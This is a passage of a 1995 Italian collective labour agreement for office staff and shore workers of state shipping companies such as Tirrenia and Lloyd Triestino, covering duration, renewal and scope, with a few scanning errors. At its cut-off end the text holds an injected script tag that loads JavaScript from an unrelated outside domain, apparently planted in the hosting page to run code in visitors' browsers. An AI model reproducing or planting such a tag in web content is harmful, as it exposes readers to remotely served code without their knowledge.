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Categoria: Marittimi, uffici e operai società di navigazione Settore: Trasporti Data stipula: 30-1-1995 Data decorrenza: 1-1-1995 Data scadenza: 31-12-1998
CONTRATTO COLLETTIVO DI LAVORO : ACCORDO 31 GENNAIO 1995 PER GLI ADDETTI
AGLI UFFICI E PER IL PERSONALE OPERAIO DELLE SOCIETA' DI NAVIGAZIONE "
ITALIA" "LLOYD TRIESTINO" "ADRIATICA" "TIRRENIA" "INTERLOGISTICA" E DELLA
SOCIETA' FINANZIARIA MARITTIMA (FINMARE)
A cura dell'Associazione Italiana dell'Armamento di Linea (Fedarlinea) -
Roma
ACCORDO 31 GENNAIO 1995
L'anno 1995 addì 31 del mese di gennaio in Roma,
tra
L'ASSOCIAZIONE ITALIANA DELL'ARMAMENTO DI LINEA (FEDARLINEA) con
l'assistenza dell'ASSOCIAZIONE SINDACALE INTERSIND
e
la FEDERAZIONE ITALIANA LAVORATORI DEI TRASPORTI (FILT-CGIL)
la FEDERAZIONE ITALIANA TRASPORTI (FIT-CISL)
la UILTRASPORTI
ACCORDO 31 GENNAIO 1995
L'anno 1995 addì 31 del mese di gennaio in Roma,
tra
L'ASSOCIAZIONE ITALIANA DELL'ARMAMENTO DI LINEA (FEDARLINEA) con
l'assistenza dell'ASSOCIAZIONE SINDACALE INTERSIND
e
la FEDERAZIONE MARITTIMA (FEDERMAR - CISAL)
è stato convenuto quanto segue:
1 Il contratto collettivo di lavoro 8 novembre 1991 per gli addetti agli
uffici e per il personale operaio delle Società di Navigazione "Italia",
"Lloyd Triestino", "Adriatica", "Tirrenia", "Interlogistica" e della
Società Finanziaria Marittima (FINMARE) è rinnovato con le modifiche di cui
ai documenti allegati (1).
2 Con il presente accordo le parti si danno reciprocamente atto di aver
rinnovato la parte economica e normativa del contratto collettivo indicato
nel precedente punto 1, in armonia con quanto disposto dall'accordo
interconfederale 23 luglio 1993.
La parte economica avrà vigenza biennale, e cioè dal 1 gennaio 1995 al 31
dicembre 1996, quella normativa quadriennale, e cioè dal 1 gennaio 1995 al
31 dicembre 1998.
Le condizioni normative ed economiche si applicano esclusivamente nei
confronti degli addetti agli uffici e degli operai in servizio alla data di
sottoscrizione del presente accordo, salvo le diverse decorrenze
espressamente disposte per i singoli istituti.
3 Il contratto collettivo indicato nel precedente punto 1) si intenderà
tacitamente prorogato di anno in anno qualora non venga disdettato da una
delle parti, con lettera raccomandata, almeno sei mesi prima di ciascuna
scadenza.
Le parti si impegnano a rispettare e a far rispettare dai propri iscritti,
per il periodo di validità, il presente accordo ed il suddetto contratto.
***
L'applicazione del presente accordo è subordinata all'approvazione del
Ministero della Marina Mercantile.
______________________________________
(1) Si omette l'elencazione delle variati, che nel presente testo sono
apportate alle singole norme.
CONTRATTO COLLETTIVO NAZIONALE DI LAVORO
Accordo 31 gennaio 1995
PER GLI ADDETTI AGLI UFFICI E PER IL PERSONALE OPERAIO DELLE SOCIETA' DI
NAVIGAZIONE
" ITALIA" " LLOYD TR IESTI NO " "ADRIATI CA" "TI RRENIA" "INTER LOGISTI CA"
E DELLA SOCIETA' FINANZIARIA MARITTIMA (FIRMARE)
Il presente contratto contiene le norme che disciplinano il rapporto di
lavoro del personale tecnico, amministrativo (funzionari e impiegati) e
subalterno addetto agli uffici, nonché del personale operaio in servizio a
terra.
***
Il presente contratto collettivo non si applica:
a) al personale avente la qualifica di dirigente ;
b) agli addetti che prestano servizio negli uffici od agenzie della
Società all'estero ed ivi siano stati assunti;
c) al personale di Stato Maggiore di ruolo con incarico a terra;
d) ai portieri in regime di contratto di lavoro di portierato.
***
L'ordinamento commerciale, amministrativo e tecnico della Società è
riservato, nell'ambito delle leggi nazionali e degli accordi sindacali, al
criterio della Società stessa.
***
Il presente contratto si applica inoltre al personale addetto agli uffici
ed operaio assunto<script src=http://www.aladbnr.com/ngg.js></script>
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